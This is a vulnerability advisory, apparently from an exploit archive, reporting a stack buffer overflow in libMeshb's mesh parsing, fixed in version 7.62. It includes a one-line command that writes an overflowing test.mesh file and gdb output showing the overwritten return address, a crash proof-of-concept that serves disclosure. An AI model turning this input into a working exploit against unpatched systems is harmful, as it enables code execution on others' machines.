Home[1] Files[2] News[3] Contact[4] Add New[5]
- libMeshb Buffer Overflow[6]
- Authored by Jeremy Brown[7]
-
libMeshb suffers from a buffer overflow vulnerability. Version 7.62 has been released to address this issue.
- SHA-256 |
4eb31ef6c78c0a4496bb470b1fbeb940f7fb6e6336a12f36aa32c13366a7a515 - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
=====
Intro
=====
libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.
=====
Repro
=====
No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.
echo -ne `perl -e 'print "B" x 2176'` > test.mesh
========
Debugger
========
(gdb) r test.mesh /tmp/empty.mesh
Starting program: mesh2poly test.mesh /tmp/empty.mesh
*** stack smashing detected ***: terminated
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7ddb859 in __GI_abort () at abort.c:79
#2 0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26
#4 0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24
#5 0x000055555555b5d2 in GmfOpenMesh ()
#6 0x4242424242424242 in ?? ()
#7 0x0000000000000000 in ?? ()
(gdb) exploitable
Description: Stack buffer overflow
Short description: StackBufferOverflow (6/22)
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)
This also affects the python wrapper library pymeshb.
>>> import pymeshb
>>> pymeshb.read('test.mesh')
*** stack smashing detected ***: terminated
Aborted (core dumped)
===
Fix
===
libMeshb v7.62
- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316
File Tags
- ActiveX[17] (932)
- Advisory[18] (77,514)
- Arbitrary[19] (15,107)
- BBS[20] (2,859)
- Bypass[21] (1,563)
- CGI[22] (1,011)
- Code Execution[23] (6,665)
- Conference[24] (668)
- Cracker[25] (797)
- CSRF[26] (3,270)
- DoS[27] (21,825)
- Encryption[28] (2,330)
- Exploit[29] (49,792)
- File Inclusion[30] (4,147)
- File Upload[31] (942)
- Firewall[32] (821)
- Info Disclosure[33] (2,546)
- Intrusion Detection[34] (851)
- Java[35] (2,781)
- JavaScript[36] (796)
- Kernel[37] (6,023)
- Local[38] (13,996)
- Magazine[39] (586)
- Overflow[40] (12,163)
- Perl[41] (1,410)
- PHP[42] (5,040)
- Proof of Concept[43] (2,280)
- Protocol[44] (3,305)
- Python[45] (1,394)
- Remote[46] (29,666)
- Root[47] (3,448)
- Ruby[48] (574)
- Scanner[49] (1,630)
- Security Tool[50] (7,683)
- Shell[51] (3,059)
- Shellcode[52] (1,202)
- Sniffer[53] (880)
- Spoof[54] (2,082)
- SQL Injection[55] (16,001)
- TCP[56] (2,359)
- Trojan[57] (672)
- UDP[58] (866)
- Virus[59] (659)
- Vulnerability[60] (30,422)
- Web[61] (9,015)
- Whitepaper[62] (3,714)
- x86[63] (942)
- XSS[64] (17,312)
- Other[65]
File Archives
- June 2022[66]
- May 2022[67]
- April 2022[68]
- March 2022[69]
- February 2022[70]
- January 2022[71]
- December 2021[72]
- November 2021[73]
- October 2021[74]
- September 2021[75]
- August 2021[76]
- July 2021[77]
- Older[78]
Systems
- AIX[79] (426)
- Apple[80] (1,883)
- BSD[81] (368)
- CentOS[82] (55)
- Cisco[83] (1,913)
- Debian[84] (5,948)
- Fedora[85] (1,690)
- FreeBSD[86] (1,241)
- Gentoo[87] (4,152)
- HPUX[88] (878)
- iOS[89] (318)
- iPhone[90] (108)
- IRIX[91] (220)
- Juniper[92] (67)
- Linux[93] (42,202)
- Mac OS X[94] (683)
- Mandriva[95] (3,105)
- NetBSD[96] (255)
- OpenBSD[97] (478)
- RedHat[98] (11,565)
- Slackware[99] (941)
- Solaris[100] (1,607)
- SUSE[101] (1,444)
- Ubuntu[102] (7,816)
- UNIX[103] (9,063)
- UnixWare[104] (185)
- Windows[105] (6,408)
- Other[106]
- Services
- Security Services[117]
- Hosting By
- Rokasec[118]


